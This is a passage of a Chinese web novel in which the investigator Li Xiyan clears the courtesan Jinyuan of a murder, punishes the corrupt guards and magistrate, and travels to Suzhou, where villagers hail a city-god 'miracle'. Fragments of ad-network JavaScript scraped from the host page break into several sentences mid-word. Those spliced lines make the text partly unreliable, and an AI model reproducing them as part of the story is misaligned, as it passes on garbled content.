李希言站在原地,冷冷地看着他们,漆黑的瞳孔瞧不出任何情绪。 “见过李大人!” “见过李大人!” 五名男子呼啦啦跪了下来,弯下了脊背。 为首的人还提了提自己的裤腰带。 李希言绕过他们,走到了角落里。 浑身脏乱的女子缩成一团,努力遮掩着自己,警惕地看着她。 李希言看了看她,又低下头看了看自己。 她伸手想要解开衣扣,却在下一刻,怀里被塞进了一件外衣。 转过头,容朗就在她身边,背对着她。 “多谢。” 她将外衣给女子披上。 女子浑身一抖, “你叫锦园对不对?”李希言尽量让自己看上去温和些,放轻了声音,“是玉烟让我来救你的。” 蜷缩着的女子眼神亮了一下,嘴唇微动。 “玉烟?” “对,玉烟。”李希言借机将手搭在了她的手腕上。 脉象弱,但是还没有生命危险。 她放下心,继续说道:“我叫李希言,是绣衣司的官员。” “李希言?”锦园一下舒展开身体,“我知道你!” “相信我吗?” 锦园点头:“我信!” 李希言扶着她站起来:“我会帮你做主。” 不过一刻钟的功夫,晚来的县令与绣衣司的人就都到齐了。 县令一进来看见眼前的情景感觉脑子都要炸掉了! 这五个蠢货! 不想活了去跳太湖啊!干嘛拉他下水。 “下官赵回见过王爷,见过李少使。” 绣衣司来的是关风和与钟力两个校尉以及几个卫士。 钟力是个七尺大汉,力大无穷。 “来了就 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 好。”李希言一手还温柔地扶着锦园,另外一只手就已经下了令,“身为监牢看守,以职务为便奸污女子。先打个五十大板。钟力,你来。” “属下遵命!” 县令看了一眼钟力。 这样的大汉动手,怕不是二十板子就要打死人! 他不禁上前求情道:“李少使……” 李希言直接打断了他:“你想一起?” 县令心中一跳。 眼前这人真会杀人! 他立刻闭上了嘴。 五名男子开始求饶,李希言不耐烦地摆手:“动作快点。” 为首的男子一下暴起,挣扎着大骂:“她本来就是个该死的妓女,玩玩儿怎么了!” 锦园缩在李希言怀里。 “我……” “不要理他。”李希言一边安抚着她,一边朝着手下使了个眼色。 绣衣使立即堵住了那五人的嘴。 钟力动作更快,直接一人一板子把五人敲得趴在地上动弹不得。 骨骼的碎裂声在耳边响起,县令往后缩了缩,额头满是汗。 打了他们,可就不能算我管教下属不严的罪了啊…… “好好看着。”李希言微微低头对着锦园说道。 锦园紧张地捏紧了她的袖子,眼神却丝毫不躲,死死盯着那五个已经被打得血肉横飞的人。 她的眼睛却是前所未有的明亮。 二十板子打完,钟力将板子一扔。 趴在地上的无人已经气息微弱,臀部以下血肉模糊。 “少使,这……咋弄?” 李希言将视线投向一旁努力降低自己存在感的县令:“赵县令觉得呢。” 语气平淡,但是其中的危险赵回能够感觉得到。 他立即说道:“自然是按照律例处置。这五人都应该被判处三年徒刑。” 这个答案肯定不会有问题。 锦园不是良家女子,他已经最大限度按照良家女子被奸污来判的了。 “还有呢?” 在李希言的注视下,县令一下紧张了起来。 难道判轻了?还是对方只是在考验自己? “李少使,这按律确实是三年徒刑啊。” 很明显,他的回答是错误的。 李希言忽而一笑。 “玩忽职守,再打十板。”她一字一句说道,“认真打。” 钟力会意,捡起板子,直接抡圆了胳膊打上去。 还没反应过来的赵回僵在原地,眼睁睁地看着最后十板打完。 五个不久前还活生生的人已经完全没有了气息。 李希言眼风轻扫:“拖下去。” 赵回浑身发冷。 虽然内心他是不赞成的,但是此刻他却什么不敢说。 “该罚的也罚完了,赵县令,给我说说这案子是怎么回事吧。” “是……”赵回埋着头擦了擦额角的汗珠子,心里斟酌了一二才说道,“这案子是杨长史断的,下官也不甚清楚。只知道杨长史说这女子与一名嫖客苟合后,心生歹念,抢走了银钱还杀害了那人把人扔到了河里……” 他两句话就把自己撇得干干净净。 “隔壁州的长史管到了你的头上?” “官大一级压死人啊!”赵回缩着脖子,“下官不过是个小小的县令。” “小小的县令也需要复核案情。” 赵回无法辩驳,朝着身边的县丞抛去一个求助的眼神。 县丞还是要脑子灵活些,上前道:“这案子是下官复核的。不如由下官来说明?” “说。” “是。死者叫做梁门,是个木匠。七月初十那日在河边被人发现的尸体。杨长史就查了他死亡的行踪,发现他在七月初九晚和锦园有过交易,二人还为此发生了冲突。之后,杨长史抓来了锦园审问,锦园就招供了。说是那晚梁门不愿意支付嫖资,她就拿石头打死了梁门,又将其抛尸于河中。” 李希言转过头:“锦园,你说一说,那晚究竟发生了什么。” 安定的声音让锦园鼓起勇气。 “我没有杀人,这些都是杨利贞逼供的,我要是不招他就把我关起来不给饭吃不给水喝。那晚我确实和梁门因此在河边发生了争执,但是我抢了他的钱袋子就跑了,根本没有杀他。” 两种说法,到底孰真孰假。 李希言下了决定:“尸体还在吗?” 县令有些傻眼:“梁门无亲无故,案子了结后就下葬了。” 还是县丞补充道:“证物以及验尸格目还在。” “那就拿来看看。” 34. 死因之谜 县衙大堂。 一拿到验尸格目,容朗就放下了心。 这个不靠谱的县衙里还算有个靠谱的仵作。 记录详细不说,这个仵作并没有掩去真相 “李少使。”他凑过去说道,“这上面结果说的是死者是被击打头部致死。但是具体表征却又写着面色苍白,尸斑呈淡红色,口鼻有水,指缝有泥沙残留。” 李希言还是懂些验尸的门道。 “是淹死的?” “没错,只有一处不大的伤口在额头处。” “死者多高?” “六尺二寸,比我还高些,体型很健壮。” 县丞小声插嘴:“梁门看上去比王爷还要高壮些。” “那他分量可不轻。” 李希言记得。 锦园比自己矮一长截。 自己和容朗站在一起刚好在容朗耳垂下边。 锦园恐怕在死者肩膀以下的高度。 正想着,关风和就带着收拾妥帖的锦园走了过来。 锦园此刻换了一身简素的布衣,原本应该很美的脸却面黄肌瘦。 “奴家见过王爷,见过李少使。” 李希言抬手让她起来。 “本官现在给你一个机会,但是你要做到一件事情本官才会恕你无罪。” 锦园双眼放光:“大人请讲。” 李希言扫视了一眼大堂,大堂外,树下放着一块大石。 她指着那石头:“你要是能搬得动,就说明你无罪。” 那石头确实不小,看上去就有七八十斤的样子。 “推得动也行。” “这……”锦园楞楞的,“这东西很重吧……” “你先试一试。” 锦园不明所以,但是还是愿意相信她,鼓起勇气走到石头前,双手抵住用力一推。 石头丝毫不动。 她缓了口气,又使着劲儿推了一次,还是原来的结果。 “过来吧。”李希言招手,“你先回来,本官有话问。” 锦园看了一眼石头,咬着嘴唇,不情不愿地应了一声,缓缓走回原来的位置站着。 “赵县令,卷宗你看完了?” “看完了。” “卷宗上说的她是在哪里将梁门打晕的。” “就在河边不远处。” “距离河道多远?” “十步左右吧。” “梁门和那块石头比,谁重?” “当然是梁门。” “所以,锦园是怎么把梁门的尸体搬到河边抛尸的呢?” “这……”赵回面露尴尬,“确实如此。” “还有,死者的伤口在面额处。你觉得以锦园的个头能够迎面打到梁门的额头吗?” “不……不太行……” “最重要的一点,死者是淹死的,额头上的伤并非是致命伤。” 赵回张大了嘴:“淹死的?!” 李希言看不得他那副虚伪的模样 “别装,验尸格目上写得清清楚楚。面色苍白,口鼻有水,淡红色尸斑,指缝有泥沙残留。不是淹死是什么?” 赵回哑口无言。 “李少使说的是。” 李希言一拍惊堂木:“犯人锦园无罪,立即释放。” 锦园没想到这么快就洗清了冤屈,欢欢喜喜地跪下行礼。 “多谢李少使为奴家洗冤!” “你先起来。”李希言问道,“本官知道你是无辜的,但是,你要将那晚的事情说清楚。” 锦园起身站好。 “那晚天刚黑,妾准备回家去,没想到刚刚准备上桥就遇见了梁门。梁门和奴家本就认识,他一见奴家就说要……要奴家和他好。完事后,他竟然反悔了!还骂奴家。奴家一时气不过就趁着他穿衣裳的功夫,抢了他的钱袋子跑了。” 她委屈极了。 “具体地点在何处?” “就是快到太湖边上的一条小溪,上面那个西兰桥。” “那儿有桥?”李希言记得那条小溪,昨晚才经过,上面是没有桥的。 锦园解释道:“那是个漫水桥,晚上的时候根本就瞧不见呢。” 漫水桥是一种比较特殊的桥。 其高度只比河面稍高些许,若是河面水位上涨,桥面就会被淹没。故名为漫水桥。 江南多洪涝,这样的桥平日可以保证通行,等到洪水来了也不怕被冲垮,算是本地常见的建筑。 李希言听了后,脑内灵光一现。 “证物。” 容朗伸手把证物接过递给她。 证物主要是梁门的随身物品。 一个脏脏的钱袋子,他死亡时身上的衣服以及鞋子。 李希言伸手去翻。 钱袋子大开着,里面是空的。 “锦园,你刚刚说你气不过抢走了他的钱袋?” “是。”锦园解释道,“奴家当时拿了钱袋他就追了上来,见他那样可怖,奴家就把钱袋子扔了。” “扔到哪个位置的?扔的时候钱袋子是打开的吗?” “就随手扔在身后,奴家拿了钱袋子后没有打开过。” 李希言又拿起衣裳和鞋子查看。 衣裳上有撕裂的痕迹,主要分布在膝盖的位置,鞋底有明显的青苔…… “没了?就这些?” 赵县令被她弄得精神紧张,连连点头。 “凶器呢?” “啊?” 李希言深吸一口气,压住怒气。 “你们说是锦园拿石头砸了梁门的脑袋,那石头在哪里?还有,案发地点的血迹呢?” 赵回一下就结巴了。 “这……这……” “这什么!”李希言看他那副样子,气不打一处来,“现在立刻让人去案发现场寻找血迹!” “是是是……下官遵命。”赵回小跑着离开。 容朗无言。 “这样的人怎么当上的县令?” 李希言今日本就气闷,也说道:“饭一口一口喂嘴里都不知道咽。” 一个时辰后,前去探查的县尉来复命。 “回禀李少使,下官在锦园交代的地方并未发现血迹。” “可查探过桥附近的地方吗?” “都看过了,都没有。只有桥边上的青苔有踩踏痕迹。”县尉似有所觉,“那踩踏痕迹就在水边,很容易摔倒。” “一个衙门还是有一个有脑子的人。”李希言打量了那县尉一眼,“你叫什么名字?” 县尉兴奋得脸颊微红:“下官韩用。” “很好 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 。”李希言在他的眼里看到了野心,“从现在起,你暂代县丞一职,县丞暂代县令。” “李少使!”赵回知道这是要拿他开刀的信号,怎么肯服气,辩解道,“下官不过是个县令,这案子是杨长史一力所为,下官哪里有办法阻止?” 李希言根本不想和他解释什么。 “拉下去,让人送往京城候审。” 绣衣使将人架住。 追求了一生的功名利禄怎么能成空! 赵回挣扎着大骂。 “你李希言也不过是个沽名钓誉之徒!不就是因为你自己也是女子,你袒护锦园,才下了重手杀人!还要把我废掉!你就是在泄气。” 李希言无所谓的摆摆手,示意绣衣使的动作快些, “闭嘴!”容朗忽然怒呵,“你呢?你认为你手下的那几个衙役做的恶行不该去死吗?难道你说这种话,不是因为你是他们的上官,你是男子才偏袒他们的吗!” 在众人眼里,他是从来没有发过脾气的。 此刻,别说被骂的赵回,就是押着人的绣衣使们都很是意外,下意识停止了动作。 “就你这种只会贪赃枉法的酒囊饭袋也有资格说她?” 李希言站起身,不着痕迹挡在容朗身前,对着赵回说道:“按照律例,确实他们五人的行为只能判三年。但是早在一年前,陛下就下过令,奸污这样的罪行即使只是三年徒刑也要施加宫刑,并且如果受害人受到其他伤害可以判处绞刑。” 赵回张了张嘴。 他还真不知道律法有了变化。 “你口口声声律法二字,可是却忘记了律法的起源应该是人的良知。”李希言的声音有些低沉,“从头到尾,我没有在你的眼里见到半分怜悯与愧疚。像你这种丧失了良知的人没有资格提律法。拖下去吧。” 和这种东西多说话真是浪费自己的精力。 赵回被无声地拖了下去。 “来,先说一说梁门之死。”李希言坐下,“韩用,案发那晚河流可有涨水?” 韩用想了想:“还真是!那日上游开了闸门……” “案情已经很明了了。梁门那晚去追锦园,锦园扔下钱袋后他肯定会先捡起钱袋子。之后,他打开钱袋子查看银钱可有遗失。发现没有遗失后他决定放弃追人,准备往回走。然而当晚河流上涨,桥面上被水漫过,他踩到了青苔脚下一滑,摔进了河里,脑袋磕到了石头后晕倒导致被淹死。” 李希言拿起梁门的衣裳和鞋子:“鞋子上的青苔以及衣服的上被撕开的口子都是摔进河时导致的。他脑门上的伤也是一个证据。” 韩用大胆质疑:“会不会是有人推他入水?” “也有这个可能,只是……现场可有他人的脚印?” “没有,只有锦园和他的,还有一个类似的脚印是个矮个儿男子,那人是在他们之前经过的,案发时一直在家。” “你再回忆一下脚印形状,若是锦园推搡他,应该会有不同的痕迹。” 韩用确认:“锦园的脚印只有往一个方向跑的,中间没有停顿。” 李希言觉得韩用这人还真不错。 对现场的情况了然于心,还知道质疑。 “不错。这案子算是了结了,你复核一下即可。顺便,你们把县衙里的事情都理一理,乱糟糟的。” 35. 元亨利贞 案子了结。 李希言安排锦园和玉烟在驿馆见了一面。 以为此生都要生死相隔的小姐妹一见面就哭得说不出话来。 李希言感叹。 患难方见真情。 或许就是在那样的地方相伴,才会有如此深厚的情谊。 她悄悄退了出去,给二人留下单独相处的空间。 “李夫子?”瑞王今日倒是斯文,小声地叫着她。 李希言转头,只见叔侄俩站在不远处等着她, 她走过去。 “你又有什么事?” 瑞王今日可没在乎她的冷言冷语,反而一脸仰慕。 “李夫子,你真是太厉害了!不过一日就把案子破了!小叔叔都告诉我了……” “停!”李希言伸出手指隔空点了点他,“就为了这事儿?” 瑞王眉毛耷拉成了“八”字。 “夸你也不成啊?” “这案子于李少使而言确实不算太难。前几年那个画皮艳鬼的案子才是真的玄乎呢,凶手前前后后杀了二十来个人,三司调用了上百人都没头绪,却让李少使只用了九日给他破了。”容朗夸起李希言来,那叫一个如数家珍。 “对对对!那个案子我还不知道到底是怎么回事儿呢!你当时怎么破的啊!”瑞王激动地搓手。 “没用什么办法……”李希言心虚地移开视线。 “以身诱敌而已。”关风和不知从哪里冒了出来,抱着剑,一脸不赞同,“要不是苏……” “好了!”李希言打断了她的话,“关姐,你没事去把行李收拾了。” 关风和摇头离开:“哎呀!说不得你,还急眼儿了。” “怎么不能说了?”瑞王拉住李希言的手臂,“告诉我嘛。” 这烦人劲儿。 李希言甩开:“凶手是个江湖人。” 一句话就足够瑞王碎掉。 看了一眼他傻眼的样子,李希言这才松了口气。 “确实太冒险了。”容朗白着脸,努力让自己的措辞不那么逾矩,“李少使再拼命也要爱惜自身。” 他现在只能说这么多。 李希言随口敷衍:“关姐关心则乱罢了,没那么严重。” 容朗无法说出口的是…… 他,也关心则乱。 过了许久,门被打开,才打破了沉默。 锦园和玉烟不知道在里面说了什么,二人的面色都好了许多,眼里满是喜悦。 李希言直起身走过去。 “你们可商议好了?” 锦园拉着玉烟:“李少使,谢谢您的好意。可是比起做一个普通的绣娘,我还有更想要做的事情。” 李希言本来是想着送她们二人去自己名下的山庄栖身,让她们靠自己的双手养活自己。 二人也只会刺绣这样的事,做绣娘已经是最好的选择。 她不明白到底有什么事情比做绣娘更要好? 锦园鼓起勇气:“妾知道绣衣司在各地都需要人手,妾愿意为绣衣司做事,请李少使不要嫌弃我们。” 她说完拉着玉烟一起跪下。 李希言侧身:“起来再说。” 二人没有动,想要以此表示自己的决心。 一旁的容朗好心提醒道:“李少使不喜欢别人下跪。” 锦园愣了一下,这才拉着玉烟站起来。 “李少使,我们是真心的。” “你……为何有这样的想法?”李希言很是疑惑。 锦园捏着玉烟的手,眼神闪烁。 “这次您来救我的时候,我才知道,人不仅要活着,还要有权力……我不是说您……” 李希言摆手:“我知道。有权力才能保护好自己。” “不!我也想保护别人,保护那些和我一样被欺压的人!”锦园脸颊飞上两朵红云,微微垂下眼,声如蚊讷,“就如同您一般……” 李希言并未听见后半句。 “你能这样想很好。只是做探子的其中艰辛,你可明白?” 锦园一脸坚定:“再难也不会比之前更难了!” 一直沉默的玉烟也点了一下头。 被人糟践的日子都能过这么多年,做探子能有多难? 李希言沉默片刻,说道:“等会儿你们就跟着关姐去,她会安排好一切,卖身契这些问题自有人去解决。” 二人眼含热泪,不住地道谢:“多谢李少使!” “关姐就在楼下,去找她吧。” 玉烟却迟疑了片刻。 “怎么?” 玉烟很是不好意思地说道:“我还有些东西在屋里……” 李希言知道她定然是存下了不少银钱。 “知道了,到时候让人一并拿来给你就是。” 锦园笑骂:“财迷!” 玉烟捏捏她的鼻子:“我就财迷怎么了?” 二人说说笑笑地离开。 李希言看得心里发软,不由露出一个笑。 “咦~李夫子你竟然笑了诶!” 李希言一把推开面前瑞王的大脸,板起了脸。 瑞王的脸皮极厚,一点儿也不在意:“还不是冷笑,狞笑,嘲笑。” 李希言顺手拍他的脑袋:“课业完成了吗?” “啊……这……” “明日就要出发,我希望在上船前看见你的课业。”李希言冷笑。 瑞王哀嚎。 正说话间,楼下传来脚步声。 关风和带着锦园和玉烟走了出来。 锦园和玉烟已经换了装扮,穿着一身极不打眼的青布衣裳,头上只别着一支简单的木簪。 瑞王一下怔住,呆呆地看着三人。 玉烟似有所觉,转过头,朝着楼上的三人展颜一笑。 人已经走远。 瑞王喃喃道:“我觉得她这样更好看……” 第二日一早,容朗收拾完行李,熟门熟路去敲李希言的门。 “谁?”李希言的声音带着几分疲倦。 “是我。” 已经习惯他的存在,李希言完全没有多想。 “请进。” 容朗走了进来,只见李希言坐在书桌前,桌上堆着厚厚的一叠卷宗。 他挑了挑眉:“是无锡县衙的?” “嗯。”李希言放下笔,揉了揉脖子,转过身:“王爷有什么事吗?” 容朗没有回答反而问道:“李少使拿这些卷宗做什么?” 李希言眉头的红痣跳了跳。 “这些都是杨利贞办的案子。” “又是他。”容朗脸上是丝毫不掩饰的厌恶,“那是得重新看。结果怎么样?” “十个案子有九个半都判错了。” “九个半?这是个什么说法?”容朗失笑。 “只有卷宗上的字是对的,算半个。”李希言将卷宗合上放在一起,拍了一下,“一共六个案子,冤枉死了三个人。” 容朗上前拿起最上面的一份。 “通奸……只是和奸就要打死?” 和奸双方只判两年。 李希言拿起茶盏:“女子被打死,男子被当场放了。还说什么是女子勾引。” 容朗放下卷宗,嘲讽道:“他怎么不说是女子强迫了男子呢?” 李希言阴阳怪气:“那岂不是损了‘男儿气慨’。” “这些案子怎么办?” “让韩用重新审,这人还算不错。被冤死的也只能尽力给补偿了。” 再补偿人也活不过来。 容朗翘起腿:“哥哥当初就该把杨利贞直接给砍了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “杨利贞再不是,占了‘清廉’二字,还有那些老学究追捧着,到底不好直接动手。” 一个脑袋探进来:“杨利贞是谁啊?” 容朗盯着自己的侄子,杀气腾腾。 “你跑来做什么。” 瑞王一脸无辜,摸出课业。 “交课业啊。” 李希言伸手:“拿来我看看。” 纸上抄写的是《易经》。 字体工整,却不够流畅。 “写得太急了。” 瑞王嘟囔:“好好的让我抄《易经》干嘛。什么‘乾,元亨利贞。’搞不懂……” 李希言放下纸张:“‘德薄而位尊,知小而谋大,力小而任重,鲜不及矣。’” “我德行不差吧?” “但是‘力小而任重。’你是皇子,以后肩上的重任是数万人的生计。”李希言转过身,正对着他,“这次出来,有什么收获?” 容朗贼兮兮地觑了她一眼。 “宫外好吃的好玩儿的很多……” 知道他心里都记挂着这些。 李希言也没有生气反而说道:“民间太平是你父皇励精图治的结果,要是你……”她话锋一转,“要是数年前,民不聊生哪里来的那么多好吃的好玩儿的?” 容朗就没那么多忌讳了。 “你爷爷在位的时候,有一年沧州闹饥荒,死了一半的人” “沧州?!” 瑞王不敢相信。 那样富庶的沧州也会闹饥荒? 李希言神色微动:“我家就是那时候逃荒来的京城。” “你家?”瑞王更是没有听李希言提过自己的父母。 “我那时太小,记得不太清楚,只后来听我爹说起过。那年先是洪灾接着旱灾,又闹了蝗灾。粮食绝收。我家祖父母和我爹五个兄弟姐妹全部都饿死了。死的时候,肚子胀得老大。我们出沧州前,满地都是死人。” 瑞王心里酸酸的:“朝廷没赈灾吗?” “米汤都是清的。” “那负责赈灾的人呢!” “负责赈灾的是纯德皇后的哥哥。” 纯德皇后是先帝原配。 按照先帝对皇后的偏爱结果显而易见。 “难怪你们都那么讨厌他!” 容朗翻了个白眼。 “就你没心眼儿,天天“皇爷爷”“皇爷爷”的叫。你还在襁褓的时候被那个毒妇下药,还是你的亲亲皇爷爷把事情遮掩了过去,还为此杀了你的奶娘。” 真不知道是不是那个时候把脑子毒傻了。 李希言别过头:我不想听这些皇室秘史啊!! “真的啊?!”瑞王蔫儿了下去,“他怎么这样啊……” “不止呢……” 李希言立即打断:“你刚刚不是问那个杨利贞是谁吗?” 瑞王疯狂点头。 “在御史台的时候,他也算做了些实事。只是此人在断案时,对女子极其严苛,尤其是对出身青楼的女子。他不仅强逼女子在行刑时脱去小衣,将人打残,还会把青楼女子的脸割伤,头发剃掉。说什么,罪行本源就是那些青楼女子的容貌,只要毁掉她们的容貌,就不会有人去青楼了。” 瑞王听得目瞪口呆:“有病吧?这种人怎么进的御史台?” 容朗解释道:“他出身杨家,老师就是纯德皇后的父亲,还和纯德皇后的娘家有些姻亲。因此一入仕就直接进了御史台。” “等等!”瑞王忽然反应过来,“他是不是也在苏州啊?!” “苏州长史,杨利贞。” 瑞王兴奋极了,拍着李希言的肩膀:“我们现在就出发!马上去找他的麻烦!” “确实该去找他的麻烦。” 李希言此刻胸有成竹,却不知道找这人的麻烦没那么简单。 36. 第四案 城隍杀人案 今日是在船上用的晚饭。 坐在晃悠悠的船上,看着波光粼粼的太湖,吃着鲜掉眉毛的刀鱼面。 人生难得如此享受。 “诶?苗青怎么还没回来呢?” 年纪最长的关风和永远都是最关心他人的那一个。 李希言咽下一口汤。 “我让他去解决玉烟的事情了。” 刚说完,苗青就拿着一个小包袱踮着脚跑上了船。 这动作…… 卫川忍住笑:“你又去做贼了?” 苗青将包袱递给李希言,扭头瞪了他一眼。 “滚蛋。” 李希言接过包袱:“是帮玉烟拿回自己的东西,怎么能算偷?” “就是就是!”苗青连连点头。 还是少使好! 李希言随手指了一个手下:“把东西送去据点。” “我来吧!”已经吃完的方淳伸出手,“刚好我要去买些小玩意儿呢。” “早去早回。”李希言把包袱递给他。 方淳打了个哈欠,走过去想要伸手去接,脚下却忽然一扭,一下扯开了包袱。 包袱一被扯开,包里的银子首饰哗啦啦地落了一地,还有几本书。 方淳连忙去捡。 忽然他动作一顿,手里拿着一本书。 “《绣衣传奇》?” 所有人放下了筷子。 一种不好的预感涌心头。 李希言打断:“别瞎看别人的东西。” 方淳飞速捡起剩余的书,向后撤了几步。 “《希言传》?” “喔!”卫川起哄,“快快快,翻开看看!” 李希言眼前一黑:“把东西拿走。” 方淳又撤开几步:“《绣衣奇缘》?我看看……”他翻开一看,猥琐的笑容让他的脸有了三分辨识度,“冷面女绣衣使和腹黑江湖侠士的恩怨情仇?” “噫~”关风和不甘落后。 方淳把几本书翻了翻:“主角儿都是你哦,少使。” 李希言耳朵已经烫得像是发烧一样,面上还是一片镇定。 “少见多怪。” 卫川眨了眨眼:“难怪那么多小娘子都喜欢李少使!好嫉妒啊~” 众人都在说笑。 只有苗青很是沉默,盯着自己的碗不出声。 一群傻子,别人都是正常仰慕,心怀不轨那个就坐在旁边! 心怀不轨的容朗此刻正在喝醋。 真正意义上的喝醋。 “你疯啦!刀鱼面里面怎么能够加这么多醋!多糟践东西呐!”瑞王拉住自家小叔叔拿着醋瓶的手,“你发什么疯?” 容朗面无表情地干下一口:“我喜欢。” 苗青翻白眼。 一个后来者还想着居上啊?这才认识多久呢?又争又抢也不会有用的! 船只在平稳的河面行驶着。 水流缓缓,桨声连连。 仓促的的脚步声敲击在木板上,嗒嗒作响。 李希言收回视线,先一步打开门。 “什么事?” 绣衣使奉上一封书信。 “京城来的书信,很急。” 李希言顿了顿,接下。 送信的人离开,她才关上门。 是出了什么事? 她走到窗前的书桌,展开书信,低声念出来。 “工部都水司郎中肖平巡抚赈恤苏州,于七月十八在驿馆自缢?” 肖平死了? 李希言和他是有交道的。 一门心思钻在书堆里,每日都在研究怎么修河堤,怎么防洪。是个忠厚老实的人,从来不与人为难。虽然出身贫寒,人生坎坷,但是难得的乐天豁达,家里还养了好些昂首挺胸爱叨人的大鹅…… 不管是什么理由,他的死都有问题。 苏州州府在吴县。 吴县县令苟维,苏州刺史宋文昌,巡按御史陆方明。 这三人与这事情的联系最多。 可是,她只和御史台的陆方明相识…… 大家都算是御史台的人。低头不见抬头见,还算有些交情。 李希言眼神微动,提笔写下一封信。 信的内容不多。 李希言自称晚辈,说明了自己奉命前来苏州监察赈灾之事。又说自己不通庶务,希望陆御史能够在河堤建造这些事情上多多指点。 将信纸封好,她轻敲门扉。 一个黑影出现。 “少使,请吩咐。” “将书信送到陆方明那里去,客气些。” “客气些?”隐匿的绣衣使以为自己听错了。 他们啥时候对谁客气过? 李希言点头:“对,客气点。” “是。” 八月二十,早。 天还蒙蒙亮,船只就在码头停下。 李希言站在码头上,穿着一身灰青色衣裳,抱着双臂,面对着船只。 瑞王是被容朗扯着下来的,迷迷瞪瞪的,边走边抱怨。 “怎么这么早就要下船啊……就不能等会儿再下船吗……” 李希言取下腰间的刀,一转,将刀柄贴在他的脸上。 冰凉的刀柄让瑞王顿时打了个激灵,意识清醒。 “真是活该。”容朗有时候觉得自己这个侄子就是该被这样管。 “带你去城隍庙玩儿。”李希言将刀佩好。 “城隍庙,好玩儿吗?” 李希言本来就只是想找个地方拖延进城时间,随口胡诌的。 没想到傻小子还当了真。 她敷衍道:“去了就知道了。” 瑞王却高兴得精神都抖擞了起来。 “我还没去过城隍庙呢!” 容朗一甩扇子:“苏州的城隍庙确实值得一去。” “这城隍庙有什么说头?“ 容朗介绍道:“苏州的城隍老爷是春申君黄歇。” “黄歇?他怎么会和苏州有关系?” “当时吴越之战导致苏州城遭受重创,楚考烈王将吴地的政务托付给了春申君。擅长治水的春申君接手后先是重新修建了城阙又开浚疏通了苏州以及周围的江河。也因此,本地有不少地方的名字都和他有关。比如苏州的黄埭、义兴县的黄渎港、华庭县的黄歇浦……还有我们刚去的无锡治下的黄城。” 容朗遥遥一指。 远处的山连绵不绝。 “你昨晚看到的那座山今惠山,山下就是黄城。苏州百姓为了纪念他,将其供奉起来,尊为城隍。” 城隍本就是当地的守护神。 没有人比这位真正守护了百姓的春申君更适合做城隍了。 李希言真心赞了一句:“王爷博学。” 容朗完全无法掩饰他翘得老高的嘴角。 “李少使谬赞了。” 姐姐夸他了! “那城隍庙里人肯定很多。”瑞王急着催促,“我们快点走!” 听了春申君的故事,他原本一分的好奇变成了十分还加上了三分向往。 容朗却不急:“一般都是下午拜城隍,上午人不会多的。” “怎么?拜神还要分时间?” 容朗将视线投在李希言身上。 “李少使应该知道为何。” 看着瑞王这样兴奋,李希言也不好扫兴。 “民间一种说法罢了。城隍是阴司之神,下午的时候阳气重,祭拜更好些。” 瑞王听她的语气,有些狐疑:“李夫子,你不信这些?” “春申君比城隍更值得祭拜。” 瑞王走在最前面,东摸摸西摸摸。 “这苏州就是好,空气都分外清新些,无锡那边总有一股若有若无的味道。” 李希言说道:“那是焚烧秸秆的气味。” “什么?”瑞王一脸懵。 李希言背过脸去。 四体不勤,五谷不分。 容朗敲了瑞王的脑袋一下:“不记得了吗?《周礼·地官·田氏》中所言“秋毕,燔茬。”就是指此事。” “是这个啊!夫子有教过的,说是这样能够防止土地病虫害。” 一行人边走边说,不过半个时辰就到了城隍庙。 眼前的景象却让众人惊讶。 此时 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的城隍庙里全是来祭拜的百姓。 不仅如此。 竟然连正式祭拜用的五牲都准备好了。 李希言顿住脚步:“避让。” 一行人就这样站在门外悄悄看着。 只见里面一位站在最前面的老者正在焚香祝祷,嘴里还念着什么。 等他上完香。 所有人齐齐行了三跪九叩之礼,祭拜仪式才算完成。 李希言心中生疑。 按理说祭拜城隍的日子应该是城隍的诞辰也就是五月十一这一日才对。 这些百姓为何挑在今日做如此正式的祭拜? “谢谢城隍爷!” “城隍显灵了!” …… 里面此起彼伏地喊着。 都是些什么“城隍显灵”的话。 李希言眼皮一跳。 不会是什么骗子搞出的事情吧? “李少使……”容朗碰了碰她的衣袖,小声道,“我记得有一年,有个骗子耍了些手段冒充送子观音,导致许多百姓误以为真跑到青嶂寺上香,说送子观音显灵……” 俩人倒是想到一处去了。 “我也有此想法。先莫要声张。” 二人话音刚落,里面结束了祭拜的百姓就散了开来。 那位领头的老者径直朝着众人走了过来。 他一脸笑意:“几位是外乡人?” 李希言答道:“走镖的。早闻苏州城隍老爷大名,想来拜一拜。未曾想到各位正在祭拜,若有冲撞,请多包涵。” “哪有哪有。”老者摆摆手,“你们是懂规矩的,没有闯进来,哪里来的冲撞呢?而且我们本就是临时起意来的,怪不得你们。” 李希言顺着话问了下去。 “晚辈记得祭拜城隍老爷一般是五月十一,各位今日来祭拜……是因为贵地的风俗不同吗?” 老者愣了一下:“也不是。”他朝着城隍的神像拱了拱手,“主要是最近城隍爷显了灵,帮我们村儿的人出了口恶气。我们才想着来祭拜?” “城隍显灵?!”李希言装出一脸惊讶的模样,“真的?还有这等祥瑞?” 老者原本有些紧张,一听见她说这是“祥瑞”,态度一下松弛了不少。 “是呢!你们走镖的最是危险,今日来了这里,也顺便多拜一拜,好保你们平安。” “多谢老丈提醒。”李希言客客气气行完礼又问道,“不知城隍爷是帮各位出了什么恶气?” 老丈犹豫了一二才说道,“我们村儿有个孩子被人害死了,那人有权有势,我们没法……”他咬着牙,“没想到前几日城隍爷帮我们出了这口气,让那个畜生全家死绝了!” 听完这话,李希言半是放心半是疑心。 “原来是这样。确实得亏了城隍爷,不然我们这些普通百姓哪里来的活路呢?” 老丈附和了几声,就忙着去收拾残局了。 等村民们离开后。 容朗才说道:“应该是碰巧。” 李希言直觉此事没那么简单。 “最好如此。” 瑞王哀叹:“真是可怜。” “是啊,亲人被害死却只能寄托于神灵。”容朗趁机说道,“说到底还是上告无门。” 瑞王转头看向李希言:“李夫子……” 眼神满是暗示。 李希言:“不用你说我也知道。苗青,让人去查查怎么回事。” “是。” 外头天光已经大亮。 已经辰时了。 “该进城了。” 瑞王不满:“这么快就走吗?” “我先走,你们玩够了再去驿站。” 